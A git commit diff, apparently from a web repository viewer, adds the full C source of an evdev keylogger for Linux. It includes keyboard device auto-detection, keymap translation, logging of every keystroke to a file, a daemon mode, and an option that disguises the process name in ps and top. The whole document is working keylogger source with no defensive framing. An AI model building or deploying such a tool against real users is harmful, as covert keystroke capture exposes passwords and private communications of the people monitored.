summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--Makefile6
-rw-r--r--evdev.c33
-rw-r--r--evdev.h3
-rw-r--r--keymap.c277
-rw-r--r--keymap.h11
-rw-r--r--logger.c161
-rw-r--r--process.c66
-rw-r--r--process.h2
8 files changed, 559 insertions, 0 deletions
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..a580983
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,6 @@
+CFLAGS ?= -O3 -march=native -fomit-frame-pointer -pipe
+
+logger: logger.c keymap.c keymap.h evdev.c evdev.h process.c process.h
+clean:
+ rm -f logger
+.PHONY: clean
diff --git a/evdev.c b/evdev.c
new file mode 100644
index 0000000..930c325
--- /dev/null
+++ b/evdev.c
@@ -0,0 +1,33 @@
+#include <string.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+#include "evdev.h"
+
+int find_default_keyboard(char *buffer, size_t buffer_len)
+{
+ FILE *devices;
+ char events[128];
+ char handlers[128];
+ char *event;
+ int i;
+
+ devices = fopen("/proc/bus/input/devices", "r");
+ if (!devices) {
+ perror("fopen");
+ return -1;
+ }
+ while (fgets(events, sizeof(events), devices)) {
+ if (strstr(events, "H: Handlers=") == events)
+ strcpy(handlers, events);
+ else if (!strcmp(events, "B: EV=120013\n") && (event = strstr(handlers, "event"))) {
+ for (i = 0, event += sizeof("event") - 1; *event && isdigit(*event); ++event, ++i)
+ handlers[i] = *event;
+ handlers[i] = '\0';
+ fclose(devices);
+ return snprintf(buffer, buffer_len, "/dev/input/event%s", handlers);
+ }
+ }
+ fclose(devices);
+ return -1;
+}
diff --git a/evdev.h b/evdev.h
new file mode 100644
index 0000000..33ff29c
--- /dev/null
+++ b/evdev.h
@@ -0,0 +1,3 @@
+#include <sys/types.h>
+
+int find_default_keyboard(char *buffer, size_t buffer_len);
diff --git a/keymap.c b/keymap.c
new file mode 100644
index 0000000..34d492e
--- /dev/null
+++ b/keymap.c
@@ -0,0 +1,277 @@
+#include <stdio.h>
+#include <string.h>
+#include <wchar.h>
+#include <wctype.h>
+#include <assert.h>
+#include <linux/input.h>
+
+#include "keymap.h"
+
+/* Mysteriously missing defines from <linux/input.h>. */
+#define EV_MAKE 1
+#define EV_BREAK 0
+#define EV_REPEAT 2
+
+/* Default US keymap */
+static wchar_t char_keys[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<";
+static wchar_t shift_keys[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>";
+static wchar_t altgr_keys[49] = {0};
+
+static wchar_t func_keys[][8] = {
+ L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>",
+ L"<RShft>", L"<KP*>", L"<LAlt>", L" ", L"<CpsLk>", L"<F1>", L"<F2>",
+ L"<F3>", L"<F4>", L"<F5>", L"<F6>", L"<F7>", L"<F8>", L"<F9>", L"<F10>",
+ L"<NumLk>", L"<ScrLk>", L"<KP7>", L"<KP8>", L"<KP9>", L"<KP->", L"<KP4>",
+ L"<KP5>", L"<KP6>", L"<KP+>", L"<KP1>", L"<KP2>", L"<KP3>", L"<KP0>",
+ L"<KP.>", /*"<",*/ L"<F11>", L"<F12>", L"<KPEnt>", L"<RCtrl>", L"<KP/>",
+ L"<PrtSc>", L"<AltGr>", L"<Break>" /*linefeed?*/, L"<Home>", L"<Up>",
+ L"<PgUp>", L"<Left>", L"<Right>", L"<End>", L"<Down>", L"<PgDn>",
+ L"<Ins>", L"<Del>", L"<Pause>", L"<LMeta>", L"<RMeta>", L"<Menu>"
+};
+
+/* c = character key
+ * f = function key
+ * _ = blank/error
+ *
+ * Source: KEY_* defines from <linux/input.h>
+ */
+static const char char_or_func[] =
+ "_fccccccccccccff"
+ "ccccccccccccffcc"
+ "ccccccccccfccccc"
+ "ccccccffffffffff"
+ "ffffffffffffffff"
+ "ffff__cff_______"
+ "ffffffffffffffff"
+ "_______f_____fff";
+
+static int is_char_key(unsigned int code)
+{
+ assert(code < sizeof(char_or_func));
+ return char_or_func[code] == 'c';
+}
+static int is_func_key(unsigned int code)
+{
+ assert(code < sizeof(char_or_func));
+ return char_or_func[code] == 'f';
+}
+static int is_used_key(unsigned int code)
+{
+ assert(code < sizeof(char_or_func));
+ return char_or_func[code] != '_';
+}
+
+/* Translates character keycodes to continuous array indexes. */
+static int to_char_keys_index(unsigned int keycode)
+{
+ if (keycode >= KEY_1 && keycode <= KEY_EQUAL) // keycodes 2-13: US keyboard: 1, 2, ..., 0, -, =
+ return keycode - 2;
+ if (keycode >= KEY_Q && keycode <= KEY_RIGHTBRACE) // keycodes 16-27: q, w, ..., [, ]
+ return keycode - 4;
+ if (keycode >= KEY_A && keycode <= KEY_GRAVE) // keycodes 30-41: a, s, ..., ', `
+ return keycode - 6;
+ if (keycode >= KEY_BACKSLASH && keycode <= KEY_SLASH) // keycodes 43-53: \, z, ..., ., /
+ return keycode - 7;
+ if (keycode == KEY_102ND) // key right to the left of 'Z' on US layout
+ return 47;
+
+ return -1; // not character keycode
+}
+/* Translates function keys keycodes to continuous array indexes. */
+static int to_func_keys_index(unsigned int keycode)
+{
+ if (keycode == KEY_ESC) // 1
+ return 0;
+ if (keycode >= KEY_BACKSPACE && keycode <= KEY_TAB) // 14-15
+ return keycode - 13;
+ if (keycode >= KEY_ENTER && keycode <= KEY_LEFTCTRL) // 28-29
+ return keycode - 25;
+ if (keycode == KEY_LEFTSHIFT) // 42
+ return keycode - 37;
+ if (keycode >= KEY_RIGHTSHIFT && keycode <= KEY_KPDOT) // 54-83
+ return keycode - 48;
+ if (keycode >= KEY_F11 && keycode <= KEY_F12) // 87-88
+ return keycode - 51;
+ if (keycode >= KEY_KPENTER && keycode <= KEY_DELETE) // 96-111
+ return keycode - 58;
+ if (keycode == KEY_PAUSE) // 119
+ return keycode - 65;
+ if (keycode >= KEY_LEFTMETA && keycode <= KEY_COMPOSE) // 125-127
+ return keycode - 70;
+
+ return -1; // not function key keycode
+}
+
+/* Translates struct input_event *event into the string of size buffer_length
+ * pointed to by buffer. Stores state originating from sequence of event structs
+ * in struc input_event_state *state. Returns the number of bytes written to buffer.
+ */
+size_t translate_event(struct input_event *event, struct input_event_state *state, char *buffer, size_t buffer_len)
+{
+ wchar_t wch, *wbuffer;
+ size_t wbuffer_len, len;
+
+ len = 0;
+ wbuffer = (wchar_t*)buffer;
+ wbuffer_len = buffer_len / sizeof(wchar_t);
+
+ if (event->type != EV_KEY)
+ goto out;
+
+ if (event->code >= sizeof(char_or_func)) {
+ len += swprintf(&wbuffer[len], wbuffer_len, L"<E-%x>", event->code);
+ goto out;
+ }
+
+ if (event->value == EV_MAKE || event->value == EV_REPEAT) {
+ if (event->code == KEY_LEFTSHIFT || event->code == KEY_RIGHTSHIFT) {
+ state->shift = 1;
+ goto out;
+ } else if (event->code == KEY_RIGHTALT) {
+ state->altgr = 1;
+ goto out;
+ } else if (event->code == KEY_LEFTALT) {
+ state->alt = 1;
+ goto out;
+ } else if (event->code == KEY_LEFTCTRL || event->code == KEY_RIGHTCTRL) {
+ state->ctrl = 1;
+ goto out;
+ } else if (event->code == KEY_LEFTMETA || event->code == KEY_RIGHTMETA) {
+ state->meta = 1;
+ goto out;
+ } else {
+ if (state->ctrl && state->alt && state->meta)
+ len += swprintf(&wbuffer[len], wbuffer_len, L"<CTRL,ALT,META>+");
+ else if (state->ctrl && state->alt)
+ len += swprintf(&wbuffer[len], wbuffer_len, L"<CTRL,ALT>+");
+ else if (state->alt && state->meta)
+ len += swprintf(&wbuffer[len], wbuffer_len, L"<ALT,META>+");
+ else if (state->ctrl && state->meta)
+ len += swprintf(&wbuffer[len], wbuffer_len, L"<CTRL,META>+");
+ else if (state->meta)
+ len += swprintf(&wbuffer[len], wbuffer_len, L"<META>+");
+ else if (state->ctrl)
+ len += swprintf(&wbuffer[len], wbuffer_len, L"<CTRL>+");
+ else if (state->alt)
+ len += swprintf(&wbuffer[len], wbuffer_len, L"<ALT>+");
+ }
+ if (is_char_key(event->code)) {
+ if (state->altgr) {
+ wch = altgr_keys[to_char_keys_index(event->code)];
+ if (wch == L'\0') {
+ if (state->shift)
+ wch = shift_keys[to_char_keys_index(event->code)];
+ else
+ wch = char_keys[to_char_keys_index(event->code)];
+ }
+ }
+ else if (state->shift) {
+ wch = shift_keys[to_char_keys_index(event->code)];
+ if (wch == L'\0')
+ wch = char_keys[to_char_keys_index(event->code)];
+ }
+ else
+ wch = char_keys[to_char_keys_index(event->code)];
+
+ if (wch != L'\0') {
+ len += swprintf(&wbuffer[len], wbuffer_len, L"%lc", wch);
+ goto out;
+ }
+ }
+ else if (is_func_key(event->code)) {
+ len += swprintf(&wbuffer[len], wbuffer_len, L"%ls", func_keys[to_func_keys_index(event->code)]);
+ goto out;
+ }
+ else {
+ len += swprintf(&wbuffer[len], wbuffer_len, L"<E-%x>", event->code);
+ goto out;
+ }
+ }
+ if (event->value == EV_BREAK) {
+ if (event->code == KEY_LEFTSHIFT || event->code == KEY_RIGHTSHIFT)
+ state->shift = 0;
+ else if (event->code == KEY_RIGHTALT)
+ state->altgr = 0;
+ else if (event->code == KEY_LEFTALT)
+ state->alt = 0;
+ else if (event->code == KEY_LEFTCTRL || event->code == KEY_RIGHTCTRL)
+ state->ctrl = 0;
+ else if (event->code == KEY_LEFTMETA || event->code == KEY_RIGHTMETA)
+ state->meta = 0;
+ }
+
+out:
+ if (!len)
+ *buffer = 0;
+ else
+ wcstombs(buffer, wbuffer, buffer_len);
+ return len;
+}
+
+/* Determines the system keymap via the dump keys program
+ * and some disgusting parsing of it. */
+int load_system_keymap()
+{
+ FILE *dumpkeys;
+ char buffer[256];
+ char *start, *end;
+ unsigned int keycode;
+ int index;
+ wchar_t wch;
+ /* HACK: This is obscenely ugly, and we should really just do this in C... */
+ dumpkeys = popen("/usr/bin/dumpkeys -n | /bin/grep '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode' | /bin/sed 's/U+/0x/g' 2>&1", "r");
+ if (!dumpkeys) {
+ perror("popen");
+ return 1;
+ }
+ memset(char_keys, 0, sizeof(char_keys));
+ memset(shift_keys, 0, sizeof(shift_keys));
+ memset(altgr_keys, 0, sizeof(altgr_keys));
+ for (keycode = 1; fgets(buffer, sizeof(buffer), dumpkeys)
+ && keycode < sizeof(char_or_func); ++keycode) {
+ if (!is_char_key(keycode))
+ continue;
+ if (buffer[0] == 'k') {
+ index = to_char_keys_index(keycode);
+
+ start = &buffer[14];
+ wch = (wchar_t)strtoul(start, &end, 16);
+ if (start[0] == '+' && (wch & 0xB00))
+ wch ^= 0xB00;
+ char_keys[index] = wch;
+
+ start = end;
+ while (start[0] == ' ' && start[0] != '\0')
+ ++start;
+ wch = (wchar_t)strtoul(start, &end, 16);
+ if (start[0] == '+' && (wch & 0xB00))
+ wch ^= 0xB00;
+ if (wch == L'\0') {
+ wch = towupper(char_keys[index]);
+ if (wch == char_keys[index])
+ wch = L'\0';
+ }
+ shift_keys[index] = wch;
+
+ start = end;
+ while (start[0] == ' ' && start[0] != '\0')
+ ++start;
+ wch = (wchar_t)strtoul(start, &end, 16);
+ if (start[0] == '+' && (wch & 0xB00))
+ wch ^= 0xB00;
+ altgr_keys[index] = wch;
+ } else {
+ index = to_char_keys_index(keycode == 0 ? 0 : --keycode);
+ wch = (wchar_t)strtoul(&buffer[21], NULL, 16);
+ if (buffer[21] == '+' && (wch & 0xB00))
+ wch ^= 0xB00;
+ if (buffer[1] == 's')
+ shift_keys[index] = wch;
+ else if (buffer[1] == 'a')
+ altgr_keys[index] = wch;
+ }
+ }
+ pclose(dumpkeys);
+ return 0;
+
+}
diff --git a/keymap.h b/keymap.h
new file mode 100644
index 0000000..0e3bbc3
--- /dev/null
+++ b/keymap.h
@@ -0,0 +1,11 @@
+#include <linux/input.h>
+
+struct input_event_state {
+ int altgr:1;
+ int alt:1;
+ int shift:1;
+ int ctrl:1;
+ int meta:1;
+};
+size_t translate_event(struct input_event *event, struct input_event_state *state, char *buffer, size_t buffer_len);
+int load_system_keymap();
diff --git a/logger.c b/logger.c
new file mode 100644
index 0000000..7bebe65
--- /dev/null
+++ b/logger.c
@@ -0,0 +1,161 @@
+/*
+ * logger.c
+ *
+ * Copyright 2012 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.
+ *
+ * Logs keys with evdev.
+ *
+ *
+ * TODO:
+ * - Get delay time between key key repeat from X server.
+ *
+ */
+
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <getopt.h>
+#include "keymap.h"
+#include "evdev.h"
+#include "process.h"
+
+
+int main(int argc, char *argv[])
+{
+ char buffer[256];
+ char event_device[256];
+ char *log_file, *pid_file, *process_name, option;
+ int evdev_fd, daemonize, force_us_keymap, option_index;
+ FILE *log, *pid;
+ struct input_event ev;
+ struct input_event_state state;
+
+ static struct option long_options[] = {
+ {"daemonize", no_argument, NULL, 'd'},
+ {"foreground", no_argument, NULL, 'f'},
+ {"force-us-keymap", no_argument, NULL, 'u'},
+ {"event-device", required_argument, NULL, 'e'},
+ {"log-file", required_argument, NULL, 'l'},
+ {"pid-file", required_argument, NULL, 'p'},
+ {"process-name", required_argument, NULL, 'n'},
+ {"help", no_argument, NULL, 'h'},
+ {0, 0, 0, 0}
+ };
+
+ strcpy(event_device, "auto");
+ log_file = 0;
+ log = stdout;
+ pid_file = 0;
+ process_name = 0;
+ daemonize = 0;
+ force_us_keymap = 0;
+
+ close(STDIN_FILENO);
+
+ while ((option = getopt_long(argc, argv, "dfue:l:p:n:h", long_options, &option_index)) != -1) {
+ switch (option) {
+ case 'd':
+ daemonize = 1;
+ break;
+ case 'f':
+ daemonize = 0;
+ break;
+ case 'u':
+ force_us_keymap = 1;
+ break;
+ case 'e':
+ strncpy(event_device, optarg, sizeof(event_device));
+ break;
+ case 'l':
+ log_file = optarg;
+ break;
+ case 'p':
+ pid_file = optarg;
+ break;
+ case 'n':
+ process_name = optarg;
+ break;
+ case 'h':
+ case '?':
+ default:
+ fprintf(stderr, "Evdev Keylogger by zx2c4\n\n");
+ fprintf(stderr, "Usage: %s [OPTION]...\n", argv[0]);
+ fprintf(stderr, " -d, --daemonize run as a background daemon\n");
+ fprintf(stderr, " -f, --foreground run in the foreground (default)\n");
+ fprintf(stderr, " -u, --force-us-keymap instead of auto-detection, force usage of built-in US keymap\n");
+ fprintf(stderr, " -e DEVICE, --event-device=DEVICE use event device DEVICE (default=auto-detect)\n");
+ fprintf(stderr, " -l FILE, --log-file=FILE write key log to FILE (default=stdout)\n");
+ fprintf(stderr, " -p FILE, --pid-file=FILE write the pid of the process to FILE\n");
+ fprintf(stderr, " -n NAME, --process-name=NAME change process name in ps and top to NAME\n");
+ fprintf(stderr, " -h, --help display this message\n");
+ return option == 'h' ? EXIT_SUCCESS : EXIT_FAILURE;
+ }
+ }
+
+ if (!strcmp(event_device, "auto")) {
+ if (find_default_keyboard(event_device, sizeof(event_device)) == -1) {
+ fprintf(stderr, "Could not find default event device.\nTry passing it manually with --event-device.\n");
+ return EXIT_FAILURE;
+ }
+ }
+ if (log_file && strlen(log_file) != 1 && log_file[0] != '-' && log_file[1] != '\0') {
+ if (!(log = fopen(log_file, "w"))) {
+ perror("fopen");
+ return EXIT_FAILURE;
+ }
+ close(STDOUT_FILENO);
+ }
+
+ if ((evdev_fd = open(event_device, O_RDONLY | O_NOCTTY)) < 0) {
+ perror("open");
+ fprintf(stderr, "Perhaps try running this program as root.\n");
+ return EXIT_FAILURE;
+ }
+
+ if (!force_us_keymap) {
+ if (load_system_keymap())
+ fprintf(stderr, "Failed to load system keymap. Falling back onto built-in US keymap.\n");
+ }
+ if (pid_file) {
+ pid = fopen(pid_file, "w");
+ if (!pid) {
+ perror("fopen");
+ return EXIT_FAILURE;
+ }
+ }
+ if (daemonize) {
+ if (daemon(0, 1) < 0) {
+ perror("daemon");
+ return EXIT_FAILURE;
+ }
+ }
+ if (pid_file) {
+ if (fprintf(pid, "%d\n", getpid()) < 0) {
+ perror("fprintf");
+ return EXIT_FAILURE;
+ }
+ fclose(pid);
+ }
+
+ /* DO NOT REMOVE ME! */
+ drop_privileges();
+
+ if (process_name)
+ set_process_name(process_name, argc, argv);
+
+ memset(&state, 0, sizeof(state));
+ while (read(evdev_fd, &ev, sizeof(ev)) > 0) {
+ if (translate_event(&ev, &state, buffer, sizeof(buffer)) > 0) {
+ fprintf(log, "%s", buffer);
+ fflush(log);
+ }
+ }
+
+ fclose(log);
+ close(evdev_fd);
+
+ perror("read");
+ return EXIT_FAILURE;
+}
diff --git a/process.c b/process.c
new file mode 100644
index 0000000..8303d01
--- /dev/null
+++ b/process.c
@@ -0,0 +1,66 @@
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+#include <pwd.h>
+#include <sys/resource.h>
+#include <sys/prctl.h>
+#include "process.h"
+
+void drop_privileges()
+{
+ struct passwd *user;
+ struct rlimit limit;
+
+ if (!geteuid()) {
+ user = getpwnam("nobody");
+ if (!user) {
+ perror("getpwnam");
+ exit(EXIT_FAILURE);
+ }
+ if (chroot("/var/empty")) {
+ perror("chroot");
+ exit(EXIT_FAILURE);
+ }
+ if (chdir("/")) {
+ perror("chdir");
+ exit(EXIT_FAILURE);
+ }
+ if (setresgid(user->pw_gid, user->pw_gid, user->pw_gid)) {
+ perror("setresgid");
+ exit(EXIT_FAILURE);
+ }
+ if (setgroups(1, &user->pw_gid)) {
+ perror("setgroups");
+ exit(EXIT_FAILURE);
+ }
+ if (setresuid(user->pw_uid, user->pw_uid, user->pw_uid)) {
+ perror("setresuid");
+ exit(EXIT_FAILURE);
+ }
+ }
+ limit.rlim_cur = limit.rlim_max = 8192;
+ setrlimit(RLIMIT_DATA, &limit);
+ setrlimit(RLIMIT_MEMLOCK, &limit);
+ setrlimit(RLIMIT_AS, &limit);
+ setrlimit(RLIMIT_STACK, &limit);
+ limit.rlim_cur = limit.rlim_max = 0;
+ setrlimit(RLIMIT_CORE, &limit);
+ setrlimit(RLIMIT_NPROC, &limit);
+ if (!geteuid() || !getegid()) {
+ fprintf(stderr, "Mysteriously still running as root... Goodbye.\n");
+ exit(EXIT_FAILURE);
+ }
+}
+
+void set_process_name(const char *name, int argc, char *argv[])
+{
+ char *start, *end;
+
+ prctl(PR_SET_NAME, name);
+ end = argv[argc - 1] + strlen(argv[argc - 1]);
+ strcpy(argv[0], name);
+ start = argv[0] + strlen(argv[0]);
+ while (start < end)
+ *(start++) = '\0';
+}
diff --git a/process.h b/process.h
new file mode 100644
index 0000000..f721a16
--- /dev/null
+++ b/process.h
@@ -0,0 +1,2 @@
+void drop_privileges();
+void set_process_name(const char *name, int argc, char *argv[]);